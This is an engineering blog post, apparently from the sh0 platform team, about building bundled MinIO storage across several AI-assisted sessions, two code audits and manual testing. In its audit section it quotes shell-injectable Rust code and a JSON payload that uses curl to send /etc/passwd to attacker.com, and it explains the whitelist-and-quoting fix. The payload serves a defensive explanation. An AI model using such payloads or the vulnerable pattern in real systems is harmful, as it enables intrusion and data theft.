Every developer deploying a WordPress site, a Laravel app, or a Next.js project eventually needs object storage. Profile pictures, document uploads, media files -- they all need somewhere to live. The standard answer is "sign up for AWS S3," which means another account, another billing dashboard, another set of credentials to manage.
We wanted sh0 users to have S3-compatible storage available the moment they install the platform. No signup, no configuration, no external dependency. Just deploy your app and start uploading.
This is the story of how we built it in a single day, across five coordinated AI sessions, and what a security audit caught before it shipped.
The architecture decision: mc over SDK
MinIO exposes two APIs: the standard S3 API (for bucket and object operations) and a proprietary Admin API (for user and access key management). To use the S3 API from Rust, we would need to implement AWS Signature V4 signing -- a notoriously fiddly protocol involving canonical request construction, HMAC-SHA256 chains, and precise header ordering.
We chose a different path. MinIO ships with mc (MinIO Client) built into every container. Instead of implementing SigV4, we shell into the container via Docker exec and run mc commands:
docker exec sh0-system-minio mc mb local/my-bucket
docker exec sh0-system-minio mc admin user svcacct add local ROOT --name "app-key" --jsonThis gives us the full power of both APIs with zero additional dependencies. The trade-off is that we are constructing shell commands, which brings its own risks -- more on that below.
Bootstrap: storage available on first boot
When sh0 starts for the first time, it:
- Generates random credentials (20-character username, 32-character password)
- Encrypts them with AES-256-GCM using the master key
- Stores the encrypted credentials in SQLite
- Creates a MinIO container on the
sh0-netbridge network - Records the instance as
is_system = true
On subsequent boots, it loads the encrypted credentials from the database, decrypts them, and ensures the container is running. The whole block is non-fatal -- if MinIO fails to start, the rest of sh0 still works. This follows the same pattern we use for the AI sandbox container.
The result: when a developer opens the sh0 dashboard after installation, they see "File Storage" in the sidebar with their system MinIO instance already running.
Five sessions, one feature
The implementation followed our standard build-audit-audit-approve workflow, but spread across five coordinated sessions:
Session 1 (this conversation): Database layer (migrations, models) and system bootstrap (Docker container creation, credential encryption). This was the foundation -- careful work on the schema and the idempotent bootstrap that handles every state: container running, container stopped, container missing, race condition on creation.
Session 2: The bulk of the implementation. 350 lines of minio_ops.rs (9 functions wrapping mc commands), 580 lines of API handlers (14 endpoints following the databases.rs pattern), and the complete dashboard (list page, detail page with 4 tabs, API client, TypeScript types, i18n in 5 languages). A continuation prompt was drafted to give this session full context without it needing to re-read the codebase.
Session 3 (Audit Round 1): A fresh session with no implementation bias reviewed all 19 files. It found three critical issues and one important issue. It fixed all of them.
Session 4 (Audit Round 2): A third session verified the Round 1 fixes and caught one additional issue the first auditor missed.
Session 5 (back to this conversation): The CEO manually tested with a running server and found 6 bugs that only manifest at runtime -- dynamic port mapping, missing console credentials, UI state issues. All fixed and shipped.
What the audit caught: shell injection
The most significant finding was a shell injection vulnerability in minio_ops.rs. The mc_exec function constructs shell commands that run inside the MinIO container:
rust// Before the fix
let cmd = format!("mc admin user svcacct add local ROOT --name \"{}\"", description);The description comes from a user-submitted API request. Double quotes in shell allow command substitution: $(...), backticks, and $VAR are all expanded. An attacker could submit:
json{ "description": "$(curl attacker.com/exfil?data=$(cat /etc/passwd))" }And the shell would execute it inside the MinIO container.
The fix was two-fold:
- A
validate_shell_safe()function that whitelists[a-zA-Z0-9\-_.]for all values interpolated into shell commands (bucket names, access key IDs) - Switch from double quotes to single quotes for the description field, which prevents all shell expansion in
sh
Combined with input validation at the API handler level (bucket names validated before reaching minio_ops), this provides defense in depth. Neither layer alone is sufficient -- the handler validation catches malicious bucket names before they reach the shell, and the shell-level validation catches anything that slips through.
This is exactly why the multi-session audit methodology exists. The implementation session focuses on making things work. The audit session focuses on making things break.
The runtime bugs audits cannot catch
Despite two thorough code audits, the CEO's manual testing found 6 bugs. All of them were runtime integration issues invisible to static code review:
Dynamic port mapping. Docker maps container ports 9000 and 9001 to random host ports. The bootstrap stored localhost:9000 in the database. The fix: query Docker for actual port mappings on every API request and update the database.
Missing console credentials. The MinIO web console requires authentication, but the admin username and password were encrypted in the database and never exposed to the dashboard. Added a credential reveal toggle to the Overview tab.
Modal state. After creating an access key, the modal did not close, hiding the one-time secret banner behind it. A single line fix: showCreateKey = false.
These bugs teach an important lesson: code review and security audits are necessary but not sufficient. You also need someone to click through the actual UI with a running server.
The result
sh0 users now get managed S3-compatible storage out of the box:
- 14 API endpoints for full lifecycle management
- Dashboard with 4 tabs: Overview (quick connect snippets for AWS SDK, Laravel), Buckets (CRUD + browse), Access Keys (one-time secret display), Usage
- Security: encrypted credentials, shell injection protection, RBAC on every endpoint, access key secrets hashed with SHA-256
- Zero external dependencies: runs entirely inside the user's Docker environment
Thousands of developers currently pay for AWS S3, DigitalOcean Spaces, or Cloudflare R2 just to store uploads for their apps. With sh0, that storage is included -- free, private, and under their control.
What comes next
The current implementation shares a single MinIO container across all "instances." This is intentional scaffolding -- the database schema and API contract already support per-instance containers. When we build multi-instance support, each user-created instance will get its own container with isolated credentials and storage.
After that: managed email (Part 2 of the spec), which follows a similar pattern -- bootstrap a mail server container, expose it through API handlers, and give it a polished dashboard UI.
The pattern works. Build the foundation carefully, audit it twice, test it manually, ship it.